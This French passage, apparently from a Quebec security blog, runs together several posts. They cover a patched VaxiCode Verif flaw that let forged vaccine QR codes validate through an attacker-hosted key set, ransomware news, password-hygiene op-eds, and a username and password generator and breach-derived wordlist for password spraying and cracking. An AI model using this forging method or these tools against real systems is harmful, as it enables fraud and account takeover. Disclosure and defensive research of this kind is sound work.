Le contenu de celui-ci a été copié dans un script permettant de générer un nouveau SHC à l’aide de SHC-SDK, mais signé avec un JWK différent que celui de l’application. Le payload a été laissé identique.

Par la même occasion, on laisse le claim iss à l’identique pour valider que cela ne permet pas d’ignorer la validation de la signature.

Résultat: VaxiCode Verif indique un message d’erreur: Ce code QR n’est pas une preuve de vaccination valide. On assume que la signature a bien été validée et que le claim iss ne permet pas de contourner celle-ci.

Les JWK externes

JWK est un format permettant l’échange de clés cryptographiques qui est utilisé lors de la validation des signatures des SHC émis par le gouvernement. On parle de JWKS quand il s’agit d’un ensemble de clés (JSON Web Key Set).

Nous tentons d’importer un JWKS externe au chemin .well-known/jwks.json. Un serveur HTTP local très simple est mis en place derrière un tunnel pour le rendre disponible publiquement avec le protocole HTTPS. Le claim iss est changé pour le domaine du tunnel (pour référence, appelons le Serveur.Local). Un JWKS est lui aussi généré, puis placé dans le dossier .well-known, puis le SHC est généré est scanné. Le JWKS est donc accessible à l’adresse https://Serveur.Local/.well-known/jwks.json.

Résultat: Le proxy indique avoir en effet reçu un appel à GET /.well-known/jwks.json. Au moment du scan, VaxiCode Verif indique une erreur: Certifié par une autorité inconnue. Serveur.Local. On assume que les JWK ont bien été importés. Cela est entièrement normal jusque là.

Usage des clés publiques

Nous tentons maintenant de voir si le JWK qui a été importé est uniquement utilisable par le issuer de celui-ci. Nous remettons le claim iss à sa valeur initiale (https://covid19.quebec.ca/PreuveVaccinaleApi/issuer) et générons un nouveau SHC, puis le scannons.

Résultat: Le SHC est accepté comme véridique. Nous avons reproduit la vulnérabilité. Nous déduisons que le JWK qui a été importé à la dernière étape n’a pas été correctement marqué comme étant utilisable uniquement par le issuer Serveur.Local pour valider les signatures, et que le issuer https://covid19.quebec.ca/PreuveVaccinaleApi/issuer est maintenant capable de valider les signatures avec les clés de Serveur.Local, ce qui ne devrait jamais arriver.

Signatures non sécuritaires

Un JWS conforme semblable au format SHC a aussi été créé et scanné, mais avec l’entête suivant:

{
  "alg": "none",
  "zip": "DEF"
}

alg: "none" indique au vérificateur de signature qu’il n’y a pas de signature à vérifier.

Résultat: L’app VaxiCode Verif est simplement incapable de reconnaitre un code QR de ce type. Pas de vulnérabilité ici.

Analyse

Le problème causant la vulnérabilité est mentionné dans la spécification des SHC. C’est la responsabilité du groupe développant une application faisant usage de la norme SHC d’y porter attention. Le problème est décrit directement:

1. dans la spécification SHC, sections Signing Health Cards et Determining keys associated with an issuer ainsi que
2. dans la spécification JWS, section Key Origin Authentication, de laquelle cette première hérite.

“10.3. Key Origin Authentication: The key management technique employed to obtain public keys must authenticate the origin of the key; otherwise, it is unknown what party signed the message.”

Extrait de la spécification JWS

En termes plus clair, il faut s’assurer que la signature ne soit vérifiée seulement qu’avec les clés provenant de l’issuer, mais l’implantation dans l’application VaxiCode Verif ne le faisait pas pour les versions <=1.0.1.

Les codes QR sont-ils compromis?

Non. Tel que mentionné, les code QR qui contiennent les informations SHC sont conformes à la spécification et sont entièrement sécuritaires.

Ici, la première partie du problème réside sur le fait que les clés utilisées pour vérifier les codes ne sont pas uniquement associées à leurs émetteurs respectifs. Il s’agit d’une omission regrettable, cependant (et heureusement), celle-ci est facile à régler.

De plus, l’application ne devrait valider que les émetteurs de confiance, ce qui semble être le cas, mais qui reste à vérifier suite à la correction.

Validation de la correction

Le dimanche 29 août 2021, une nouvelle version de VaxiCode Verif, 1.0.2, a été publiée sur le Apple App Store. Les changements sont décrits ainsi:

• Amélioration du vérificateur de preuves
• Améliorations pour les écrans de plus petite taille
• Améliorations d’accessibilité

Nous avons utilisé la même marche à suivre que celle décrite plus haut pour tenter de valider le correctif.

Résultat: La vulnérabilité a bien été corrigéée, et nous ne sommes plus capables de l’exploiter.

Sans avoir accès au code de l’application, il est difficile de décrire exactement les correctifs effectués. Cependant, nous sommes tout de même en mesure de faire quelques observations. La plus importante concerne le fait que l’application ne télécharge plus les JWKS externes au chemin /.well-known/jwks.json de l’issuer, elle n’est alors plus en mesure de faire ni l’importation, ni la validation des signatures générées avec des clés autres que celle du gouvernement. De plus, le message d’erreur affiché dans ce cas n’est plus Certifié par une autorité inconnue. Serveur.Local, mais bien Ce code QR n’est pas une preuve de vaccination valide.

Il devait faire chaud dans les bureaux du Ministère de la Santé et des Services sociaux (MSSS) vendredi matin.

Après avoir martelé que l’utilisation du code QR comme preuve vaccinale était sécuritaire à 100%, voilà que deux failles sont rapportées dans les médias.

Premièrement, des hackers ont démontré qu’il était possible de télécharger des preuves vaccinales qui ne nous sont pas destinées.

Deuxièmement, un autre individu a démontré qu’il était possible de créer de faux code QR de toute pièce.

En moins de 24 heures.

La réaction initiale du MSSS a été de diffuser un communiqué qui stipule que « des plaintes formelles ont déjà été déposées à la police. Les autorités compétentes feront enquête et détermineront si des accusations criminelles doivent être déposées. »

On comprend leur embarras. Cela fait des semaines que le Ministère nous dit que la solution envisagée est sécuritaire. Dans son communiqué, il persiste et signe. « Le MSSS réitère que le code QR est sécuritaire », peut-on y lire.

Pourtant, la preuve vaccinale était facile à télécharger. Il suffisait de connaître le nom et la date de naissance de la personne. Avec ces informations et quelques lignes de code, on peut déduire le numéro d’assurance maladie. Connaître la date d’administration et le manufacturier de la première dose du vaccin accélère le processus. Ces informations sont souvent faciles à trouver sur les réseaux sociaux.

Selon une source anonyme, certaines réponses renvoyées par le site facilitaient la tâche. « Si on a le bon [ numéro ] d’assurance maladie, ça nous dit si la date n’est pas bonne », nous a-t-il expliqué. De plus un autre message permet de savoir si on a fourni le mauvais nom de manufacturier.

Selon cette personne, on est « capable de faire beaucoup de requêtes et rien ne [ nous ] en empêche. »

Retourner des messages d’erreurs aussi utiles pour un hacker est une pratique à proscrire. Cela donne des indices et c’est la première chose qu’un chercheur en sécurité va regarder.

Une autre pratique de sécurité est de mettre en place des mesures pour empêcher la « force brute ». C’est-à-dire empêcher que l’on puisse essayer toutes les combinaisons possibles d’un numéro d’assurance maladie avant de trouver le bon.

Cela ne semble pas avoir été fait adéquatement.

Heureusement que ces deux failles ont été trouvées par des personnes ayant le bien commun en tête. Une personne peu scrupuleuse aurait pu vendre ses services de création de faux code QR. Une personne mal intentionnée aurait pu diffuser publiquement les preuves vaccinales. Ce n’est pas ce qui s’est passé. Les hackers qui ont trouvé ces failles ont contacté des journalistes. Ils ont voulu que ces risques soient connus et pris au sérieux.

Au lieu d’appeler la police, on devrait peut-être songer à les remercier.

Il n’existe actuellement pas de mécanisme officiel pour qu’un ou une hacker ayant trouvé une vulnérabilité puisse la communiquer au gouvernement.

Ce serait une bonne idée de le mettre en place.

Ce serait plus utile que de répéter que tout va bien.

Crédit photo: EFF - licence CC BY

Avant de défroquer, j’étais médecin de famille dans un CLSC du centre-ville de Montréal. Tous les mois, le système me demandait de changer de mot de passe. Ce message était habituellement précédé de plusieurs autres messages m’avisant que le mot de passe allait devoir être changé dans x jours.

J’avais pris l’habitude d’ignorer ceux-ci.

C’est une loi de la nature, que le message final, comme la mise à jour de Windows, arrive tout le temps au pire moment.

Cela arrivait habituellement lorsque j’étais occupé et fatigué. Je venais possiblement de passer 24 heures à la salle d’accouchement de l’hôpital à attraper des bébés et j’avais 14 messages téléphoniques à retourner, quatre fax à envoyer, des rapports illisibles à déchiffrer et des gens qui m’attendaient dans la salle d’attente.

En arrivant au CLSC, l’administrateur du système m’avait donné un mot de passe « temporaire ». Je l’ai conservé, à toute fin pratique, pendant 5 ans.

C’était quelque chose comme « samhar01 ».

Il y avait une règle qui empêchait la réutilisation des derniers mots de passe. Mais j’ai rapidement réalisé qu’une fois rendu à samhar09, je pouvais recommencer à 01. C’était bien pratique.

Le problème c’est que je n’avais jamais considéré le risque que cela posait et personne ne m’en a parlé.

Récemment, une source anonyme a fait parvenir une photo au Hackfest. Cette personne est allée dans un CLSC de la région de Québec. À l’accueil se trouvait un ordinateur. Sur celui-ci, on voyait les mots de passe clairement affichés. Vraiment bien visible. Cela n’avait pas été gribouillé sur un post-it. Non. On s’était forcé pour faire du beau travail.

J’ai contacté le CISSS (Centre Intégré de Santé et de Services sociaux). Madame Maryse Rodrigue, du service des communications, a répondu que le CISSS « [ fait ] régulièrement des rappels aux employés à propos de la confidentialité des codes d’accès et mots de passe et qu’il existe une politique à ce propos. »

La porte-parole m’a également assuré qu’un suivi serait fait « pour rectifier la situation ».

L’objectif ici n’est pas de jeter la pierre à l’employé ou l’employée qui a collé son mot de passe sur l’ordinateur. C’est un comportement risqué. Malheureusement, l’expérience montre que plus certaines règles et pratiques deviennent contraignantes et plus les gens trouvent des façons de les contourner. De plus, la formation sur le « pourquoi » ce comportement est risqué fait souvent défaut.

J’ai demandé à Vincent Tremblay, un spécialiste en cybersécurité et membre organisateur du Hackfest, si les organisations devaient obliger leurs employés à changer souvent de mots de passe. Il m’a répondu que « les politiques de mots de passe sont un couteau à double tranchant. Trop compliqué ? Le monde va tout faire pour bypasser ça ou s’en balancer et on est de retour à la case zéro. Trop simple, mais on doit changer trop souvent ? On devra s’attendre à ce que le ticket #1 soit “J’ai oublié mon mot de passe et ça ne me laisse pas le changer”. »

Alors, qu’est-ce qu’on fait ?

La solution passe par la sensibilisation et l’éducation. L’authentification n’est pas là pour nous faire suer, mais pour protéger des données hautement sensibles et confidentielles. Comprendre le « pourquoi » est primordial. Car oui, si l’on n’en comprend pas l’importance, la sécurité est souvent perçue comme un obstacle.

En attendant le « passwordless authentication », on peut laisser tomber certaines pratiques désuètes et utiliser des phrases de passe en assouplissant les règles de complexité et de rotation rapide des mots de passe.

On doit surtout créer un environnement ou les employés et employées ont le temps nécessaire à consacrer aux bonnes pratiques en sécurité de l’information.

On peut aussi arrêter d’utiliser le fax, mais ça, c’est un sujet pour un autre jour.

Le lendemain de la fête nationale du Québec, un groupe criminel a revendiqué une attaque contre Lareau courtiers d’assurances. Des experts en sécurité s’inquiètent que cette attaque pourrait servir à cibler d’autres entreprises québécoises.

Le 25 juin dernier, le groupe de rançongiciel Conti a publicisé des attaques contre plusieurs nouvelles victimes. Parmi celles-ci se trouvait l’entreprise dont le siège social est basé à Napierville.

Les malfrats ont publié une liste d’appareils appartenant à la compagnie ainsi qu’une liste de mots de passe chiffrés. Il s’agit du chiffrement standard utilisé par le système d’exploitation Windows. Selon notre analyse, certains de ceux-ci étaient assez faciles à déchiffrer. Pour l’instant, aucune donnée personnelle n’a été diffusée sur le site Web du groupe de rançonneurs.

Une fois qu’ils ont accès à un réseau, ces groupes déploient habituellement un rançongiciel. Il s’agit d’un programme qui chiffre les données et les rend inutilisables. Il faut disposer d’une clé pour les récupérer. Afin d’augmenter la pression sur leurs victimes, ils menacent habituellement de diffuser publiquement les informations qu’ils ont volées.

Lareau est présent dans 8 succursales au Québec et compte une équipe de plus de 180 professionnels. Selon son site Web, l’entreprise Lareau offre une protection contre les cyber-risques.

Cibler une compagnie offrant ce type de couverture est « la recette parfaite » selon Steve Waterhouse, ancien officier de cyberdéfense dans les Forces armées canadiennes. Selon l’expert en sécurité, cette attaque a le potentiel d’aider les pirates à cibler leurs prochaines victimes. Cela permet de moduler leurs demandes de rançon en fonction de la capacité de payer de celles-ci. « C’est brillant. Cela leur permet de faire des affaires en or », ajoute-t-il.

La compagnie Lareau n’a pas répondu à nos demandes d’information. Pour M. Waterhouse, les entreprises sont très réticentes à parler de ces incidents, car ils craignent pour leur réputation. « La gestion de la sécurité par l’obscurité ne devrait plus avoir sa place » se désole-t-il.

Crédit photo: begemot_dn - licence CC BY-NC

Un groupe de rançongiciel s’en est pris à l’entreprise de distribution de produits pétroliers Filgo-Sonic. L’entreprise a fermé certains systèmes informatiques, mais la livraison aux clients a été maintenue.

Mme Véronique Simard, porte-parole de l’organisation, a répondu que l’entreprise « confirme avoir vécu dans les dernières semaines un arrêt de ses systèmes informatiques qui a eu un impact sur certaines opérations. Pendant que le Groupe travaille à la reprise des opérations normales, le service aux clients se poursuit sans interruption. »

L’entreprise n’a pas donné de détails sur les services affectés, mais précise qu’il « s’agit surtout de services centraux comme la facturation ». L’arrêt de ces systèmes « a été rendu nécessaire comme mesure de protection et de remédiation à une cyberattaque perpétrée par un attaquant externe à l’organisation » explique Mme Simard. L’enquête étant toujours en cours, l’entreprise ne peut donner plus de précisions, mais assure que les systèmes sont en cours de rétablissement.

Les malfaiteurs ont publié des documents qu’ils revendiquent avoir volés à la compagnie. Ces documents sont datés du 3 et du 27 juin. La porte-parole dit « être au courant que les attaquants ont procédé à une publication de fichiers. Notre équipe TI ainsi que nos experts en cybersécurité ont récupéré ces fichiers et procédé à leur analyse. » Ils sont actuellement en processus de notification des personnes touchées par cet incident de sécurité.

Le Groupe Filgo-Sonic est une entreprise québécoise dont le siège social se trouve à Sainte-Marie, en Beauce. Il possède les bannières d’essence Miraco et Sonic. Selon son site web, le Groupe est « présent dans les principales régions du Québec ». Il œuvre dans les secteurs de la distribution de produits pétroliers à une clientèle résidentielle et commerciale, il maintient un réseau de station-service et de dépanneurs ainsi que la distribution des Lubrifiants Shell.

« Vice Society », le groupe qui a revendiqué cette attaque est apparu sur la scène des rançongiciels en juin 2021. Malgré le fait qu’il soit nouveau, il a été l’un des groupes les plus actifs au mois de juin. Ce groupe de malfaiteurs a annoncé une dizaine de brèches de sécurité lors de son premier mois d’opération. On compte des écoles et des hôpitaux parmi les organisations affichées sur son site.

Le logiciel servant à chiffrer les fichiers serait une variante du rançongiciel « HelloKitty » selon Michael Gillespie, un chercheur spécialisé en maliciel. Le groupe « HelloKitty » a fait les manchettes récemment, car on lui avait attribué l’attaque contre la compagnie de jeux « CD Projekt », créateur du titre « Cyberpunk 2077 ».

Ce matin, la police ukrainienne a procédé à l’arrestation de six individus liés au groupe de rançongiciel Cl0p. Les autorités ukrainiennes ont diffusé un communiqué ce mercredi 16 juin pour annoncer l’opération. Celle-ci a été coordonnée par Interpol et menée en collaboration avec des agents provenant des États-Unis et de la Corée du Sud.

Les autorités ont annoncé avoir effectué 21 perquisitions, dans des résidences et des voitures appartenant aux suspects, dans la région de Kiev. De l’équipement informatique, des voitures et près de 5 millions d’hryvnias (environ 225 000 $ CA) ont été saisis.

À l’heure actuelle, nous ne savons pas s’il s’agit de membre clé du groupe Cl0p ou d’affiliés. Rappelons que les organisations comme Cl0p, qui offrent un service de rançongiciel, recrutent des affiliés. Ce sont ces derniers qui infiltrent les réseaux informatiques vulnérables et déploient le logiciel malveillant fourni par le groupe.

Les groupes comme Cl0p offrent le logiciel qui permet de chiffrer les données de la victime, le site web servant à publier les documents volés et une plateforme pour négocier la rançon. Les profits sont ensuite partagés entre les affiliés et le fournisseur de service.

Ce matin, le site de diffusion de matériel volé du groupe, hébergé sur le réseau Tor, était toujours accessible.

Rappelons que le groupe Cl0p était celui derrière les récentes attaques contre Bombardier, ainsi que contre la Municipalité Régionale de Durham en Ontario et la compagnie de transport Boutin ici au Québec. Il est trop tôt pour savoir si les personnes arrêtées aujourd’hui sont responsables de ces attaques, ou s’il s’agit d’un autre groupe d’affiliés.

Cet article a été corrigé le 18/06 pour rectifier le montant saisi en dollars CA.

La banalisation des risques dans une chronique sur le coût des programmes de fidélisation publiée dans La Presse a fait réagir des membres de la communauté de cybersécurité. « J’ai trouvé que c’était un super bon article, jusqu’à ce que j’arrive à cette section-là », affirme en entrevue Alexis Dorais-Joncas, directeur du centre de R & D de ESET Montréal. « J’ai appris plein de choses », ajoute-t-il. Par contre, il trouve dommage qu’on n’ait pas profité de cette occasion pour rappeler aux consommateurs que si « vous acceptez de confier vos données personnelles, faites-le en toute connaissance de cause ».

Pour ce responsable d’une équipe de chercheurs en cybersécurité, il est faux de dire que le risque est le même parce que ces données sont déjà détenues par une autre entité, comme la banque. « Les risques s’additionnent », explique-t-il, « plus nos données personnelles sont possédées par un grand nombre de partis, plus les chances sont grandes que l’une d’entre elles soit l’objet d’une fuite ».

Il n’y a pas que les données qui sont à risque

Comme ces programmes offrent des récompenses, M. Dorais-Joncas ajoute que le vol de ceux-ci n’a pas seulement un impact sur la perte de données, mais peut impliquer une perte monétaire. La perte associée avec le vol d’un compte peut sembler minime pour un utilisateur, mais si un fraudeur met la main sur un grand nombre de ceux-ci, cela représente des sommes beaucoup plus importantes.

Le troisième impact noté vient du fait que certains programmes de fidélisation sont associés avec un mode de paiement. M. Dorais-Joncas a d’ailleurs investigué un cas de fraude utilisant l’application mobile de McDonald en 2019. Un journaliste avait rapporté avoir été fraudé de 2000 $ lorsque quelqu’un s’était approprié son compte de fidélisation. Selon le spécialiste en cybersécurité, « la sécurité était complètement déficiente. [ … ] On pouvait tester des milliers de combinaisons de nom d’utilisateur et mot de passe en quelques minutes. » De plus, une fois qu’un compte valide était volé, l’application n’avait aucune mesure antifraude et plusieurs transactions avaient été enregistrées au même moment à plusieurs endroits dans la province sans que cela soit rapporté.

S’abonner, oui ou non ?

Pour Alexis Dorais-Joncas, il faut se demander si l’on retire un réel bénéfice du programme. Il suggère de se poser la question « est-ce que je suis prêt à confier mes données personnelles à cette entreprise en échange de ce qu’elle m’offre ? » Deuxièment, il suggère de lire les politiques d’utilisation et de protection de la vie privée. Il admet que ce n’est pas toujours évident, car ces politiques ne sont pas faciles à comprendre, mais « cela en dit long sur l’utilisation qui va être faite de nos données ».

Idéalement, on devrait minimiser la portée et le nombre de programmes auxquels on adhère. Il est donc préférable de ne s’abonner qu’aux programmes qui nous intéressent réellement.

Une fois que l’on décide de s’inscrire à un programme de fidélisation, il suggère de ne jamais réutiliser de mot de passe. « On a tendance à croire que l’on n’a pas besoin d’autant de sécurité que pour notre compte de banque », mais une fois qu’on a pris l’habitude d’utiliser un gestionnaire de mot de passe, « ce n’est pas plus forçant de créer un bon mot de passe unique pour tous ses comptes. »

Les programmes de fidélité offrent des avantages, mais ils ne sont pas sans risque. Il est donc important que la décision de confier ses données personnelles ne soit pas prise à la légère.

Le projet de Loi 64 doit venir encadrer la collecte, la protection et l’utilisation de ces données personnelles. L’adoption de celui-ci a pris du retard avec l’annonce récente par le gouvernement de suspendre son étude.

crédit photo: Four Bricks Tall - licence CC BY-NC-ND

Quoi

J’ai toujours trouvé lors de différents tests d’intrusions qu’il manquait l’équivalent d’une liste d’utilisateurs possibles en français. Suivant le dernier blog post du Hackfest publiant une wordlist adaptée au Québec, j’ai décidé de publier mon propre script qui permet de générer des noms d’utilisateurs communs adaptés pour le Québec.

Également, beaucoup de mots de passe sont encore basés sur les noms et prénoms (des enfants, parents, femme, etc). Ce sont généralement des noms français qui ne font pas (ou peu) partie des wordlists standards. En utilisant des sites qui publient l’information sur les noms les plus populaires tels que prenomsquebec.ca et un article Wikipedia, il est possible de créer plusieurs combinaisons.

Je présente donc le dépôt Github QC_Username_Generator.

Fonctions

• Générer des noms d’utilisateurs populaires, provenant de noms Québecois
• Pouvoir adapter le format des noms en fonction du test ou de l’application
• Avoir la possibilité d’ajouter un nom de domaine dans le cas ou le nom d’utilisateur nécessite un courriel
• Générer des mots de passe qui sont souvent utilisés (combinaisons de noms et années)

Ce script permet de générer plusieurs variations de nom d’utilisateurs basé sur les noms de famille (top 1000) et les prénoms les plus populaires du Québec depuis 1980.

Il permet également d’ajouter une variation avec un nom de domaine pour générer des courriels potentiels (ex: jeantremblay@example.com). Les noms d’utilisateurs peuvent ensuite facilement être utilisés dans le cadre de pulvérisation de mot de passe ou d’énumération simplement. De plus, il est possible de générer des mots de passe qui incluent le nom et l’année (ex: Tremblay2020!, jean2021, ..). Désolé si c’est votre mot de passe!

Ils peuvent ensuite être utilisés à eux seuls pour du password cracking, en combinaison avec d’autres listes telles que w0lfd3n, ou en ajout à des règles Hashcat.

Les cas d’utilisations

• Dans le cadre de pulvérisation de mot de passe
• Afin d’effectuer une énumération d’utilisateurs
• Pour générer une wordlist de mots de passe possibles lors de password cracking

Exemples d’utilisation

• Le script est basé sur Python3 et ne nécessite aucun module externe.
• Les listes de noms sont stockées dans le dossier source.

Les différents arguments possibles:

[-u] permet de générer une liste d'utilisateurs [-w] permet de générer une liste de mot de passe [-d] spécifie que vous voulez une liste contenant un domaine/courriel (ex: nomcomplet@domaine.com) [-o] pour spécifier le nom du fichier en sortie (exemple.txt), sinon ce sera affiché en STDOUT 

Pour générer une liste contenant des courriels vers un fichier texte:

python3 main.py -u -d -o fichier 

Pour générer une liste d’utilisateurs vers un fichier texte:

python3 main.py -u -o fichier 

Pour générer une liste de mot de passe potentiel vers un fichier texte:

python3 main.py -w -o fichier 

Mot de la fin

Comme toujours, il est conseillé d’utiliser un gestionnaire de mots de passe tels que BitWarden ou KeePassXC afin de générer des mots de passe complexes et les stocker de façon sécuritaire.

Vous pouvez me contacter sur le Discord du Hackfest: @redshell

Crédit photo: christiaancolen - licence CC BY

Récemment, je testais mes habiletés modestes de “pentest” sur mon réseau WI-FI personnel. Suivant la méthodologie classique, j’ai performé une attaque de désauthentification sur un périphérique relié à mon “access point”, capturé l’échange de clef WPA2, et tenté de “craquer” le mot de passe à l’aide d’une “wordlist”. Pour les besoins de la cause, le mot de passe utilisé était d’une simplicité alarmante. Malgré tout, j’ai été incapable de le découvrir.

C’est alors que la réalité m’a frappé : les “wordlists” habituelles disponibles sur le net ne contiennent pas ou très peu de vocabulaire français et/ou Québécois, la plupart étant issues de brèches américaines et internationales. Au cours de discussions sur certains serveurs Discord (Hackfest), j’ai constaté qu’en effet très peu de références francophones étaient disponibles et qu’il y avait une volonté de créer une telle liste de mots de passe. C’est autour de cette idée que s’est constituée notre groupe, w0lfd3n, une équipe de professionnels et d’enthousiastes pour la plupart québécois. Nous avons saisi l’opportunité de fonder un groupe officiel afin de s’impliquer dans la communauté cybersec. Ce projet a été une sorte de catalyseur au groupe et une motivation supplémentaire afin d’explorer des méthodes et habiletés qui nous étaient pour la plupart encore nouvelles, i.e. GitHub. Nous espérons que le projet contribuera positivement à la communauté cybersec Québécoise.

C’est avec plaisir que nous présentons le dépôt public w0lfd3n’s quebec_wordlist. Cette liste est extraite en grande majorité des mots de passe présents dans plusieurs brèches de données publiques, tous reliés à des domaines québécois (institutions publiques, secteur privé, etc). Elle a plusieurs applications potentielles, i.e. “wordlist” pour John The Ripper et Hashcat ou bien tout simplement liste de mots de passe à éviter. Vous pouvez combiner une bonne discipline de mots de passe avec cette liste afin d’éviter l’utilisation de mots de passe faibles et compromis.

Il est également conseillé d’utiliser un gestionnaire de mots de passe tel que BitWarden ou KeePassXC afin d’éviter de réutiliser le même mot de passe plusieurs fois. Nous planifions d’apporter des modifications et ajouts constants à cette liste, et nous sommes évidemment ouverts à toutes contributions externes qui respectent nos critères.

Vous pouvez nous contacter à hello@w0lfd3n.org .

Crédit photo: worldsdirection - licence CC BY

Il n’est jamais agréable d’apprendre que nos renseignements sensibles ont été publiés sur le Web. En janvier dernier, un groupe criminel a diffusé des documents confidentiels qu’ils disent avoir volés à la compagnie Ventilabec. Pour confirmer l’authenticité de ces renseignements, nous avons contacté des personnes qui ne sont plus à l’emploi de cette entreprise, mais qui figurent malheureusement dans cette fuite de données.

Le groupe de rançongiciel qui a revendiqué cette cyberattaque a publié 1140 documents. On y retrouve des formulaires d’autorisation d’enquête, des « fiches d’accueil » de chantier avec les allergies et la médication prise et des cartes de compétence émises par la Commission de la construction du Québec. Les cartes qui datent de 2010 et 2011 affichent le numéro d’assurance sociale du travailleur. Selon un compteur affiché sur la page Web, celle-ci a été consultée plus de 25 000 fois.

Sabrina DesOrmiers a travaillé pour Ventilabec jusqu’en 2012. Par la suite, elle a « continué à faire de la consultation pour eux pendant deux ans environ ». Elle confirme avoir signé une autorisation d’enquête des antécédents judiciaires pour un projet au Casino de Montréal. Avant notre appel, personne ne l’avait avisée de cette brèche de données.

Contactée par téléphone, Caroline (nom fictif) confirme qu’elle a également travaillé pour cette compagnie. Elle n’est plus à l’emploi de cette entreprise depuis plusieurs années. Elle demande de garder l’anonymat.

Nous lui apprenons qu’un formulaire se trouve sur un site Web accessible sur le Web caché. « Personne ne m’a avisée », nous dit-elle. Elle confirme avoir signé cette autorisation. Ce document comporte des renseignements comme sa date de naissance, son numéro d’assurance sociale et son numéro de permis de conduire.

Ventilabec, basée à Laval, est spécialisée en installation et entretien de systèmes de ventilation, réfrigération et chauffage. Selon son site Web, elle a plus de 10 000 projets réalisés à son actif dans les secteurs industriel, commercial, institutionnel et pharmaceutique.

Rejoint au téléphone, le président Éric Ladouceur a préféré ne pas commenter cette affaire.

Sécurisé ou détruit

Selon Steve Waterhouse, ancien officier de sécurité à la défense nationale, lorsqu’on archive ce genre de renseignement, il est important de prendre conscience de la sensibilité de celui-ci.

La meilleure pratique pour conserver les données dont on n’a pas activement besoin consiste « à ne jamais mettre cela en ligne ». Il conseille d’entreposer les données sensibles de manière chiffrée. « Il existe plusieurs logiciels et outils pour crypter les fichiers ». Les documents « en repos » devraient être sur un disque dur externe, chiffré, et remisé en lieu sûr.

L’expert en cybersécurité rappelle qu’une entreprise devrait avoir une politique de rétention des données et détruire celles-ci dès qu’elles ne sont plus utiles. Pour les détruire de manière sécuritaire, il recommande de les chiffrer avant de les supprimer. Cela va les rendre plus difficiles à récupérer.

Déclaration non obligatoire, mais recommandée

La Commission d’accès à l’information du Québec (CAI) confirme que la loi n’oblige pas les entreprises à détruire un renseignement. Son porte-parole nous rappelle que de conserver des documents dont on n’a plus besoin augmente l’impact quand il y a un incident de sécurité.

« Pour l’instant, au Québec, il n’y a pas d’obligation légale de déclarer les incidents de sécurité, ni à la Commission ni aux personnes concernées », nous répond la CAI. Les déclarations sont faites sur une base volontaire.

« Cependant, nous recommandons fortement aux entreprises de faire cette démarche. » Selon la Commission, « les personnes concernées devraient être avisées sans tarder si la perte ou le vol de renseignements personnels présente un risque de préjudice pour elles. Cela peut leur permettre de prendre les mesures pertinentes pour protéger leurs renseignements personnels. »

La CAI nous explique qu’en vertu de l’article 27 de la Loi sur la protection des renseignements personnels dans le secteur privé, toute personne à le « droit d’accéder aux renseignements personnels qui la concernent et qui sont détenus par une entreprise. » Une demande écrite doit être présentée.

L’article 40 du Code civil du Québec permet également à une personne de demander la destruction d’un renseignement personnel « périmé ou non justifié par l’objet du dossier ».

Dans ces deux cas, il possible de communiquer avec la CAI afin d’en savoir plus sur les modalités et les restrictions détaillées dans la loi.

Comment se protéger d’un vol d’identité

Selon Patrick Mathieu, cofondateur de Hackfest Communication — un événement annuel et une communauté de cybersécurité — dans les cas comme celui-ci, les gens peuvent se protéger :

• en évitant de mettre de l’information personnelle sur les réseaux sociaux,
• en utilisant un gestionnaire de mot de passe et l’authentification à deux facteurs,
• en s’abonnant à un service d’alerte comme ceux d’Equifax ou de TransUnion,
• en vérifiant régulièrement leurs comptes de banque et relevés de carte de crédit pour détecter les transactions douteuses.

crédit photo: spDuchamp - licence CC BY

La compagnie de transport Boutin a été la cible d’un rançongiciel. L’entreprise a fermé l’ensemble de ses systèmes informatiques, mais réussit à poursuivre ses activités.

La brèche de sécurité a été annoncée sur le site d’un groupe de rançongiciel. Nous avons contacté l’entreprise par téléphone le 28 avril et le président, M. Bernard Boutin, nous a confirmé qu’ils étaient bel et bien la cible d’une cyberattaque. Il nous a demandé de lui acheminer nos questions par écrit.

Dans un courriel, l’entrepreneur nous explique qu’un message de rançon a été découvert et qu’ils ont ensuite fait appel à un spécialiste en sécurité informatique.

Les portails client et employés, accessibles à partir de leur site Web, ne répondent pas. Afin de ne prendre aucun risque inutile, « nous avons fermé l’accès à l’ensemble de nos systèmes et postes de travail ». Le personnel doit rebâtir un certain nombre de serveurs et « repartir à 0 certaines applications. Le travail aux opérations se fait en partie manuellement. »

M. Boutin affirme que leurs opérations se poursuivent. « Nous avons été capables avec notre équipe de faire en sorte que le service ne soit pas trop perturbé. »

La situation fait actuellement l’objet d’une enquête. L’entreprise ne peut dire avec certitude si des données personnelles de client ou d’employés ont été dérobées. Mais, « dans le doute, les personnes concernées ont commencé à en être informées ».

Boutin est une entreprise fondée en 1945 dont le siège social se situe à Plessisville, au Centre-du-Québec. Selon son site Web, elle compte plus de 390 employés et possède une flotte qui dépasse 630 unités.

crédit photo couverture: martin - licence CC BY-NC-ND

La menace de diffuser les documents volés n’étant pas suffisante à leurs yeux, certains groupes de rançongiciel ont ajouté le déni de service à leur arsenal. Une compagnie de Québec vient de l’apprendre. Le groupe Avaddon a revendiqué récemment une attaque contre cette compagnie spécialisée dans le développement informatique.

Il est maintenant coutume pour les pirates d’appliquer ce qu’on appelle la « double extorsion ». Cette méthode implique que les malfaiteurs commencent par exfiltrer les données auxquelles ils ont réussi à avoir accès. Ensuite, ils vont chiffrer les systèmes de leur victime. Les fichiers sont rendus inutilisables à moins de payer pour obtenir la clé nécessaire pour les déchiffrer.

Les entreprises ayant des sauvegardes récentes et fiables sont en mesure de se relever plus rapidement d’une attaque de ce genre. Pour accroître la pression sur les victimes et les forcer à payer, le groupe Maze a été le premier à menacer de diffuser publiquement les données volées. Peu de temps après, plusieurs groupes leur emboîtaient le pas.

Le site de nouvelles bleepingcomputer.com avait rapporté en octobre 2020 que les groupes SunCrypt et RagnarLocker avaient commencé à ajouter le déni de service distribué (DDoS — Distributed Denial of Service) à leur arsenal.

Le DDoS est une forme d’attaque ou le serveur de la victime est bombardé d’une quantité importante de requêtes. On dit qu’il est distribué, car les requêtes proviennent d’une multitude de sources différentes. N’étant pas capable de soutenir un tel volume de données bidon, le serveur devient inaccessible.

Le groupe Avaddon vient de s’ajouter à la liste des groupes utilisant cette méthode afin de forcer leur victimes à négocier. Sur leur site, on peut voir une liste des entreprises qui sont affectées par un déni de service.

